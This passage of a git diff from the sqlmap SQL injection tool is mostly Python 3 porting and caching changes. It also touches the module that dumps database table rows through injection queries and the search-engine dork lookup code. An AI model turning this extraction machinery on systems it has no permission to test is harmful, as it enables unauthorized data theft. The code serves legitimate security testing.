threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") connection.commit() @@ -58,24 +71,41 @@ def close(self): threadData = getCurrentThreadData() try: if threadData.hashDBCursor: + if self._write_cache: + self.flush() + threadData.hashDBCursor.close() threadData.hashDBCursor.connection.close() threadData.hashDBCursor = None except: pass + def closeAll(self): + if self._write_cache: + self.flush() + + for connection in self._connections: + try: + connection.close() + except: + pass + @staticmethod def hashKey(key): - key = key.encode(UNICODE_ENCODING) if isinstance(key, unicode) else repr(key) - retVal = int(hashlib.md5(key).hexdigest(), 16) & 0x7fffffffffffffff # Reference: http://stackoverflow.com/a/4448400 + key = getBytes(key if isinstance(key, six.text_type) else repr(key), errors="xmlcharrefreplace") + retVal = struct.unpack("<Q", hashlib.md5(key).digest()[:8])[0] & 0x7fffffffffffffff return retVal def retrieve(self, key, unserialize=False): retVal = None - if key and (self._write_cache or os.path.isfile(self.filepath)): + if key and (self._write_cache or self._connections or os.path.isfile(self.filepath)): hash_ = HashDB.hashKey(key) retVal = self._write_cache.get(hash_) + + if retVal is None: + retVal = self._read_cache.get(hash_) + if not retVal: for _ in xrange(HASHDB_RETRIEVE_RETRIES): try: @@ -96,6 +126,9 @@ def retrieve(self, key, unserialize=False): time.sleep(1) + if retVal is not None: + self._read_cache[hash_] = retVal + if retVal and unserialize: try: retVal = unserializeObject(retVal) @@ -103,35 +136,33 @@ def retrieve(self, key, unserialize=False): retVal = None warnMsg = "error occurred while unserializing value for session key '%s'. " % key warnMsg += "If the problem persists please rerun with '--flush-session'" - logger.warn(warnMsg) + logger.warning(warnMsg) return retVal def write(self, key, value, serialize=False): if key: hash_ = HashDB.hashKey(key) - self._cache_lock.acquire() - self._write_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) - self._cache_lock.release() + with self._cache_lock: + self._write_cache[hash_] = self._read_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) + cache_size = len(self._write_cache) + time_since_flush = time.time() - self._last_flush_time - if getCurrentThreadName() in ('0', 'MainThread'): - self.flush() - - def flush(self, forced=False): - if not self._write_cache: - return + if cache_size >= HASHDB_FLUSH_THRESHOLD_ITEMS or time_since_flush >= HASHDB_FLUSH_THRESHOLD_TIME: + self.flush() - if not forced and len(self._write_cache) < HASHDB_FLUSH_THRESHOLD: - return + def flush(self): + with self._cache_lock: + if not self._write_cache: + return - self._cache_lock.acquire() - _ = self._write_cache - self._write_cache = {} - self._cache_lock.release() + flush_cache = self._write_cache + self._write_cache = {} + self._last_flush_time = time.time() try: self.beginTransaction() - for hash_, value in _.items(): + for hash_, value in flush_cache.items(): retries = 0 while True: try: @@ -139,16 +170,19 @@ def flush(self, forced=False): self.cursor.execute("INSERT INTO storage VALUES (?, ?)", (hash_, value,)) except sqlite3.IntegrityError: self.cursor.execute("UPDATE storage SET value=? WHERE id=?", (value, hash_,)) + except (UnicodeError, OverflowError): # e.g. surrogates not allowed (Issue #3851) + break except sqlite3.DatabaseError as ex: if not os.path.exists(self.filepath): debugMsg = "session file '%s' does not exist" % self.filepath logger.debug(debugMsg) break - if retries == 0: + # NOTE: skipping the retries == 0 for graceful resolution of multi-threaded runs + if retries == 1: warnMsg = "there has been a problem while writing to " warnMsg += "the session file ('%s')" % getSafeExString(ex) - logger.warn(warnMsg) + logger.warning(warnMsg) if retries >= HASHDB_FLUSH_RETRIES: return @@ -166,8 +200,11 @@ def beginTransaction(self): try: self.cursor.execute("BEGIN TRANSACTION") except: - # Reference: http://stackoverflow.com/a/25245731 - self.cursor.close() + try: + # Reference: http://stackoverflow.com/a/25245731 + self.cursor.close() + except sqlite3.ProgrammingError: + pass threadData.hashDBCursor = None self.cursor.execute("BEGIN TRANSACTION") finally: @@ -183,6 +220,10 @@ def endTransaction(self): threadData.inTransaction = False except sqlite3.OperationalError: pass + except sqlite3.ProgrammingError: + self.cursor = None + threadData.inTransaction = False + return else: return diff --git a/lib/utils/htmlentities.py b/lib/utils/htmlentities.py deleted file mode 100644 index a97320ec098..00000000000 --- a/lib/utils/htmlentities.py +++ /dev/null @@ -1,263 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html - -htmlEntities = { - "quot": 34, - "amp": 38, - "lt": 60, - "gt": 62, - "nbsp": 160, - "iexcl": 161, - "cent": 162, - "pound": 163, - "curren": 164, - "yen": 165, - "brvbar": 166, - "sect": 167, - "uml": 168, - "copy": 169, - "ordf": 170, - "laquo": 171, - "not": 172, - "shy": 173, - "reg": 174, - "macr": 175, - "deg": 176, - "plusmn": 177, - "sup2": 178, - "sup3": 179, - "acute": 180, - "micro": 181, - "para": 182, - "middot": 183, - "cedil": 184, - "sup1": 185, - "ordm": 186, - "raquo": 187, - "frac14": 188, - "frac12": 189, - "frac34": 190, - "iquest": 191, - "Agrave": 192, - "Aacute": 193, - "Acirc": 194, - "Atilde": 195, - "Auml": 196, - "Aring": 197, - "AElig": 198, - "Ccedil": 199, - "Egrave": 200, - "Eacute": 201, - "Ecirc": 202, - "Euml": 203, - "Igrave": 204, - "Iacute": 205, - "Icirc": 206, - "Iuml": 207, - "ETH": 208, - "Ntilde": 209, - "Ograve": 210, - "Oacute": 211, - "Ocirc": 212, - "Otilde": 213, - "Ouml": 214, - "times": 215, - "Oslash": 216, - "Ugrave": 217, - "Uacute": 218, - "Ucirc": 219, - "Uuml": 220, - "Yacute": 221, - "THORN": 222, - "szlig": 223, - "agrave": 224, - "aacute": 225, - "acirc": 226, - "atilde": 227, - "auml": 228, - "aring": 229, - "aelig": 230, - "ccedil": 231, - "egrave": 232, - "eacute": 233, - "ecirc": 234, - "euml": 235, - "igrave": 236, - "iacute": 237, - "icirc": 238, - "iuml": 239, - "eth": 240, - "ntilde": 241, - "ograve": 242, - "oacute": 243, - "ocirc": 244, - "otilde": 245, - "ouml": 246, - "divide": 247, - "oslash": 248, - "ugrave": 249, - "uacute": 250, - "ucirc": 251, - "uuml": 252, - "yacute": 253, - "thorn": 254, - "yuml": 255, - "OElig": 338, - "oelig": 339, - "Scaron": 352, - "fnof": 402, - "scaron": 353, - "Yuml": 376, - "circ": 710, - "tilde": 732, - "Alpha": 913, - "Beta": 914, - "Gamma": 915, - "Delta": 916, - "Epsilon": 917, - "Zeta": 918, - "Eta": 919, - "Theta": 920, - "Iota": 921, - "Kappa": 922, - "Lambda": 923, - "Mu": 924, - "Nu": 925, - "Xi": 926, - "Omicron": 927, - "Pi": 928, - "Rho": 929, - "Sigma": 931, - "Tau": 932, - "Upsilon": 933, - "Phi": 934, - "Chi": 935, - "Psi": 936, - "Omega": 937, - "alpha": 945, - "beta": 946, - "gamma": 947, - "delta": 948, - "epsilon": 949, - "zeta": 950, - "eta": 951, - "theta": 952, - "iota": 953, - "kappa": 954, - "lambda": 955, - "mu": 956, - "nu": 957, - "xi": 958, - "omicron": 959, - "pi": 960, - "rho": 961, - "sigmaf": 962, - "sigma": 963, - "tau": 964, - "upsilon": 965, - "phi": 966, - "chi": 967, - "psi": 968, - "omega": 969, - "thetasym": 977, - "upsih": 978, - "piv": 982, - "bull": 8226, - "hellip": 8230, - "prime": 8242, - "Prime": 8243, - "oline": 8254, - "frasl": 8260, - "ensp": 8194, - "emsp": 8195, - "thinsp": 8201, - "zwnj": 8204, - "zwj": 8205, - "lrm": 8206, - "rlm": 8207, - "ndash": 8211, - "mdash": 8212, - "lsquo": 8216, - "rsquo": 8217, - "sbquo": 8218, - "ldquo": 8220, - "rdquo": 8221, - "bdquo": 8222, - "dagger": 8224, - "Dagger": 8225, - "permil": 8240, - "lsaquo": 8249, - "rsaquo": 8250, - "euro": 8364, - "weierp": 8472, - "image": 8465, - "real": 8476, - "trade": 8482, - "alefsym": 8501, - "larr": 8592, - "uarr": 8593, - "rarr": 8594, - "darr": 8595, - "harr": 8596, - "crarr": 8629, - "lArr": 8656, - "uArr": 8657, - "rArr": 8658, - "dArr": 8659, - "hArr": 8660, - "forall": 8704, - "part": 8706, - "exist": 8707, - "empty": 8709, - "nabla": 8711, - "isin": 8712, - "notin": 8713, - "ni": 8715, - "prod": 8719, - "sum": 8721, - "minus": 8722, - "lowast": 8727, - "radic": 8730, - "prop": 8733, - "infin": 8734, - "ang": 8736, - "and": 8743, - "or": 8744, - "cap": 8745, - "cup": 8746, - "int": 8747, - "there4": 8756, - "sim": 8764, - "cong": 8773, - "asymp": 8776, - "ne": 8800, - "equiv": 8801, - "le": 8804, - "ge": 8805, - "sub": 8834, - "sup": 8835, - "nsub": 8836, - "sube": 8838, - "supe": 8839, - "oplus": 8853, - "otimes": 8855, - "perp": 8869, - "sdot": 8901, - "lceil": 8968, - "rceil": 8969, - "lfloor": 8970, - "rfloor": 8971, - "lang": 9001, - "rang": 9002, - "loz": 9674, - "spades": 9824, - "clubs": 9827, - "hearts": 9829, - "diams": 9830, -} diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index a60a4175440..70d139ee244 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,23 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re -from extra.safe2bin.safe2bin import safechardecode from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend +from lib.core.common import filterNone from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -29,8 +30,11 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.settings import MAX_INT from lib.core.settings import NULL +from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.unescaper import unescaper from lib.request import inject +from lib.utils.safe2bin import safechardecode +from thirdparty.six import unichr as _unichr def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths = {} @@ -46,7 +50,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT) - if isinstance(count, basestring) and count.isdigit(): + if hasattr(count, "isdigit") and count.isdigit(): count = int(count) if count == 0: @@ -66,7 +70,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths[column] = 0 entries[column] = BigArray() - colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT)) + colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT)) if conf.pivotColumn: for _ in colList: @@ -84,7 +88,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): if not validPivotValue: warnMsg = "column '%s' not " % conf.pivotColumn warnMsg += "found in table '%s'" % table - logger.warn(warnMsg) + logger.warning(warnMsg) if not validPivotValue: for column in colList: @@ -110,13 +114,13 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): break if not validColumnList: - errMsg = "all column name(s) provided are non-existent" + errMsg = "all provided column name(s) are non-existent" raise SqlmapNoneDataException(errMsg) if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" - logger.warn(warnMsg) + logger.warning(warnMsg) pivotValue = " " breakRetrieval = False @@ -125,7 +129,7 @@ def _(column, pivotValue): if column == colList[0]: query = dumpNode.query.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) else: - query = dumpNode.query2.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) + query = dumpNode.query2.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False) if SINGLE_QUOTE_MARKER not in dumpNode.query2 else pivotValue) query = agent.whereQuery(query) return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind)) @@ -140,7 +144,7 @@ def _(column, pivotValue): if column == colList[0]: if isNoneValue(value): try: - for pivotValue in filter(None, (" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, unichr(ord(pivotValue[0]) + 1))): + for pivotValue in filterNone((" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], _unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, _unichr(ord(pivotValue[0]) + 1))): value = _(column, pivotValue) if not isNoneValue(value): break @@ -173,7 +177,7 @@ def _(column, pivotValue): warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" - logger.warn(warnMsg) + logger.warning(warnMsg) except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex) diff --git a/lib/utils/progress.py b/lib/utils/progress.py index e9a81847e13..1bfb10656d9 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,14 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from __future__ import division + import time -from lib.core.common import getUnicode from lib.core.common import dataToStdout +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb @@ -91,11 +93,8 @@ def draw(self, eta=None): dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) if self._amount >= self._max: - if not conf.liveTest: - dataToStdout("\r%s\r" % (" " * self._width)) - kb.prependFlag = False - else: - dataToStdout("\n") + dataToStdout("\r%s\r" % (" " * self._width)) + kb.prependFlag = False def __str__(self): """ diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 248ad0ce804..b1c0e6cd41e 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import functools import os import random import shutil @@ -12,7 +13,11 @@ import string from lib.core.common import getSafeExString +from lib.core.common import openFile +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import logger +from thirdparty.six import unichr as _unichr def purge(directory): """ @@ -21,7 +26,7 @@ def purge(directory): if not os.path.isdir(directory): warnMsg = "skipping purging of directory '%s' as it does not exist" % directory - logger.warn(warnMsg) + logger.warning(warnMsg) return infoMsg = "purging content of directory '%s'..." % directory @@ -45,8 +50,8 @@ def purge(directory): for filepath in filepaths: try: filesize = os.path.getsize(filepath) - with open(filepath, "w+b") as f: - f.write("".join(chr(random.randint(0, 255)) for _ in xrange(filesize))) + with openFile(filepath, "w+") as f: + f.write("".join(_unichr(random.randint(0, 255)) for _ in xrange(filesize))) except: pass @@ -65,7 +70,7 @@ def purge(directory): except: pass - dirpaths.sort(cmp=lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)) + dirpaths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) logger.debug("renaming directory names to random values") for dirpath in dirpaths: @@ -75,9 +80,7 @@ def purge(directory): pass logger.debug("deleting the whole directory tree") - os.chdir(os.path.join(directory, "..")) - try: shutil.rmtree(directory) except OSError as ex: - logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, getSafeExString(ex))) + logger.error("problem occurred while removing directory '%s' ('%s')" % (getUnicode(directory), getSafeExString(ex))) diff --git a/extra/safe2bin/safe2bin.py b/lib/utils/safe2bin.py similarity index 50% rename from extra/safe2bin/safe2bin.py rename to lib/utils/safe2bin.py index 8053120d9a9..35d0a77cbac 100644 --- a/extra/safe2bin/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -1,22 +1,25 @@ #!/usr/bin/env python """ -safe2bin.py - Simple safe(hex) to binary format converter - -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -from __future__ import print_function - import binascii import re import string -import os import sys -from optparse import OptionError -from optparse import OptionParser +PY3 = sys.version_info >= (3, 0) + +if PY3: + xrange = range + text_type = str + string_types = (str,) + unichr = chr +else: + text_type = unicode + string_types = (basestring,) # Regex used for recognition of hex encoded characters HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})" @@ -25,7 +28,7 @@ SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c" # Characters that don't need to be safe encoded -SAFE_CHARS = "".join(filter(lambda _: _ not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', ''))) +SAFE_CHARS = "".join([_ for _ in string.printable.replace('\\', '') if _ not in SAFE_ENCODE_SLASH_REPLACEMENTS]) # Prefix used for hex encoded values HEX_ENCODED_PREFIX = r"\x" @@ -40,23 +43,25 @@ def safecharencode(value): """ Returns safe representation of a given basestring value - >>> safecharencode(u'test123') - u'test123' - >>> safecharencode(u'test\x01\x02\xff') - u'test\\01\\02\\03\\ff' + >>> safecharencode(u'test123') == u'test123' + True + >>> safecharencode(u'test\x01\x02\xaf') == u'test\\\\x01\\\\x02\\xaf' + True """ retVal = value - if isinstance(value, basestring): - if any([_ not in SAFE_CHARS for _ in value]): + if isinstance(value, string_types): + if any(_ not in SAFE_CHARS for _ in value): retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER) retVal = retVal.replace('\\', SLASH_MARKER) for char in SAFE_ENCODE_SLASH_REPLACEMENTS: retVal = retVal.replace(char, repr(char).strip('\'')) - retVal = reduce(lambda x, y: x + (y if (y in string.printable or isinstance(value, unicode) and ord(y) >= 160) else '\\x%02x' % ord(y)), retVal, (unicode if isinstance(value, unicode) else str)()) + for char in set(retVal): + if not (char in string.printable or isinstance(value, text_type) and ord(char) >= 160): + retVal = retVal.replace(char, '\\x%02x' % ord(char)) retVal = retVal.replace(SLASH_MARKER, "\\\\") retVal = retVal.replace(HEX_ENCODED_PREFIX_MARKER, HEX_ENCODED_PREFIX) @@ -72,13 +77,13 @@ def safechardecode(value, binary=False): """ retVal = value - if isinstance(value, basestring): + if isinstance(value, string_types): retVal = retVal.replace('\\\\', SLASH_MARKER) while True: match = re.search(HEX_ENCODED_CHAR_REGEX, retVal) if match: - retVal = retVal.replace(match.group("result"), (unichr if isinstance(value, unicode) else chr)(ord(binascii.unhexlify(match.group("result").lstrip("\\x"))))) + retVal = retVal.replace(match.group("result"), unichr(ord(binascii.unhexlify(match.group("result").lstrip("\\x"))))) else: break @@ -88,45 +93,11 @@ def safechardecode(value, binary=False): retVal = retVal.replace(SLASH_MARKER, '\\') if binary: - if isinstance(retVal, unicode): - retVal = retVal.encode("utf8") + if isinstance(retVal, text_type): + retVal = retVal.encode("utf8", errors="surrogatepass" if PY3 else "strict") elif isinstance(value, (list, tuple)): for i in xrange(len(value)): retVal[i] = safechardecode(value[i]) return retVal - -def main(): - usage = '%s -i <input file> [-o <output file>]' % sys.argv[0] - parser = OptionParser(usage=usage, version='0.1') - - try: - parser.add_option('-i', dest='inputFile', help='Input file') - parser.add_option('-o', dest='outputFile', help='Output file') - - (args, _) = parser.parse_args() - - if not args.inputFile: - parser.error('Missing the input file, -h for help') - - except (OptionError, TypeError) as ex: - parser.error(ex) - - if not os.path.isfile(args.inputFile): - print('ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile) - sys.exit(1) - - f = open(args.inputFile, 'r') - data = f.read() - f.close() - - if not args.outputFile: - args.outputFile = args.inputFile + '.bin' - - f = open(args.outputFile, 'wb') - f.write(safechardecode(data)) - f.close() - -if __name__ == '__main__': - main() diff --git a/lib/utils/search.py b/lib/utils/search.py index 9b171b4b526..985226891fb 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -1,22 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import httplib import re import socket -import urllib -import urllib2 from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import urlencode +from lib.core.convert import getBytes +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -28,12 +26,15 @@ from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import BING_REGEX -from lib.core.settings import DUMMY_SEARCH_USER_AGENT from lib.core.settings import DUCKDUCKGO_REGEX +from lib.core.settings import DUMMY_SEARCH_USER_AGENT +from lib.core.settings import GOOGLE_CONSENT_COOKIE from lib.core.settings import GOOGLE_REGEX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import UNICODE_ENCODING from lib.request.basic import decodePage +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib from thirdparty.socks import socks def _search(dork): @@ -45,15 +46,18 @@ def _search(dork): if not dork: return None + page = None data = None - headers = {} + requestHeaders = {} + responseHeaders = {} - headers[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT) - headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE + requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT) + requestHeaders[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE + requestHeaders[HTTP_HEADER.COOKIE] = GOOGLE_CONSENT_COOKIE try: - req = urllib2.Request("https://www.google.com/ncr", headers=headers) - conn = urllib2.urlopen(req) + req = _urllib.request.Request("https://www.google.com/ncr", headers=requestHeaders) + conn = _urllib.request.urlopen(req) except Exception as ex: errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex) raise SqlmapConnectionException(errMsg) @@ -61,24 +65,23 @@ def _search(dork): gpage = conf.googlePage if conf.googlePage > 1 else 1 logger.info("using search result page #%d" % gpage) - url = "https://www.google.com/search?" + url = "https://www.google.com/search?" # NOTE: if consent fails, try to use the "http://" url += "q=%s&" % urlencode(dork, convall=True) url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search" url += "&start=%d" % ((gpage - 1) * 100) try: - req = urllib2.Request(url, headers=headers) - conn = urllib2.urlopen(req) + req = _urllib.request.Request(url, headers=requestHeaders) + conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url - requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str + requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() - page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) responseMsg = "HTTP response (%s - %d):\n" % (status, code) @@ -88,19 +91,24 @@ def _search(dork): responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - except urllib2.HTTPError as ex: + except _urllib.error.HTTPError as ex: try: page = ex.read() + responseHeaders = ex.info() except Exception as _: warnMsg = "problem occurred while trying to get " warnMsg += "an error page information (%s)" % getSafeExString(_) logger.critical(warnMsg) return None - except (urllib2.URLError, httplib.error, socket.error, socket.timeout, socks.ProxyError): + except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError): errMsg = "unable to connect to Google" raise SqlmapConnectionException(errMsg) - retVal = [urllib.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + + page = getUnicode(page) # Note: if decodePage call fails (Issue #4202) + + retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] if not retVal and "detected unusual traffic" in page: warnMsg = "Google has detected 'unusual' traffic from " @@ -124,16 +132,16 @@ def _search(dork): url = "https://www.bing.com/search?q=%s&first=%d" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1) regex = BING_REGEX else: - url = "https://duckduckgo.com/html/" + url = "https://html.duckduckgo.com/html/" data = "q=%s&s=%d" % (urlencode(dork, convall=True), (gpage - 1) * 30) regex = DUCKDUCKGO_REGEX try: - req = urllib2.Request(url, data=data, headers=headers) - conn = urllib2.urlopen(req) + req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders) + conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url - requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str + requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() @@ -150,7 +158,7 @@ def _search(dork): responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - except urllib2.HTTPError as ex: + except _urllib.error.HTTPError as ex: try: page = ex.read() page = decodePage(page, ex.headers.get("Content-Encoding"), ex.headers.get("Content-Type")) @@ -163,7 +171,9 @@ def _search(dork): errMsg = "unable to connect" raise SqlmapConnectionException(errMsg) - retVal = [urllib.unquote(match.group(1).replace("&", "&")) for match in re.finditer(regex, page, re.I | re.S)] + page = getUnicode(page) # Note: if decodePage call fails (Issue #4202) + + retVal = [_urllib.parse.unquote(match.group(1).replace("&", "&")) for match in re.finditer(regex, page, re.I | re.S)] if not retVal and "issue with the Tor Exit Node you are currently using" in page: warnMsg = "DuckDuckGo has detected 'unusual' traffic from " @@ -178,8 +188,8 @@ def _search(dork): @stackedmethod def search(dork): - pushValue(kb.redirectChoice) - kb.redirectChoice = REDIRECTION.YES + pushValue(kb.choices.redirect) + kb.choices.redirect = REDIRECTION.YES try: return _search(dork) @@ -188,7 +198,7 @@ def search(dork): logger.critical(getSafeExString(ex)) warnMsg = "changing proxy" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.proxy = None @@ -197,7 +207,7 @@ def search(dork): else: raise finally: - kb.redirectChoice = popValue() + kb.choices.redirect = popValue() def setHTTPHandlers(): # Cross-referenced function raise NotImplementedError diff --git a/lib/utils/sgmllib.py b/lib/utils/sgmllib.py new file mode 100644 index 00000000000..afcdff95314 --- /dev/null +++ b/lib/utils/sgmllib.py @@ -0,0 +1,574 @@ +"""A parser for SGML, using the derived class as a static DTD.""" + +# Note: missing in Python3 + +# XXX This only supports those SGML features used by HTML. + +# XXX There should be a way to distinguish between PCDATA (parsed +# character data -- the normal case), RCDATA (replaceable character +# data -- only char and entity references and end tags are special) +# and CDATA (character data -- only end tags are special). RCDATA is +# not supported at all. + +from __future__ import print_function + +try: + import _markupbase as markupbase +except: + import markupbase + +import re + +__all__ = ["SGMLParser", "SGMLParseError"] + +# Regular expressions used for parsing + +interesting = re.compile('[&<]') +incomplete = re.compile('&([a-zA-Z][a-zA-Z0-9]*|#[0-9]*)?|' + '<([a-zA-Z][^<>]*|' + '/([a-zA-Z][^<>]*)?|' + '![^<>]*)?') + +entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]') +charref = re.compile('&#([0-9]+)[^0-9]') + +starttagopen = re.compile('<[>a-zA-Z]') +shorttagopen = re.compile('<[a-zA-Z][-.a-zA-Z0-9]*/') +shorttag = re.compile('<([a-zA-Z][-.a-zA-Z0-9]*)/([^/]*)/') +piclose = re.compile('>') +endbracket = re.compile('[<>]') +tagfind = re.compile('[a-zA-Z][-_.a-zA-Z0-9]*') +attrfind = re.compile( + r'\s*([a-zA-Z_][-:.a-zA-Z_0-9]*)(\s*=\s*' + r'(\'[^\']*\'|"[^"]*"|[][\-a-zA-Z0-9./,:;+*%?!&$\(\)_#=~\'"@]*))?') + + +class SGMLParseError(RuntimeError): + """Exception raised for all parse errors.""" + pass + + +# SGML parser base class -- find tags and call handler functions. +# Usage: p = SGMLParser(); p.feed(data); ...; p.close(). +# The dtd is defined by deriving a class which defines methods +# with special names to handle tags: start_foo and end_foo to handle +# <foo> and </foo>, respectively, or do_foo to handle <foo> by itself. +# (Tags are converted to lower case for this purpose.) The data +# between tags is passed to the parser by calling self.handle_data() +# with some data as argument (the data may be split up in arbitrary +# chunks). Entity references are passed by calling +# self.handle_entityref() with the entity reference as argument. + +class SGMLParser(markupbase.ParserBase): + # Definition of entities -- derived classes may override + entity_or_charref = re.compile('&(?:' + '([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+)' + ')(;?)') + + def __init__(self, verbose=0): + """Initialize and reset this instance.""" + self.verbose = verbose + self.reset() + + def reset(self): + """Reset this instance. Loses all unprocessed data.""" + self.__starttag_text = None + self.rawdata = '' + self.stack = [] + self.lasttag = '???' + self.nomoretags = 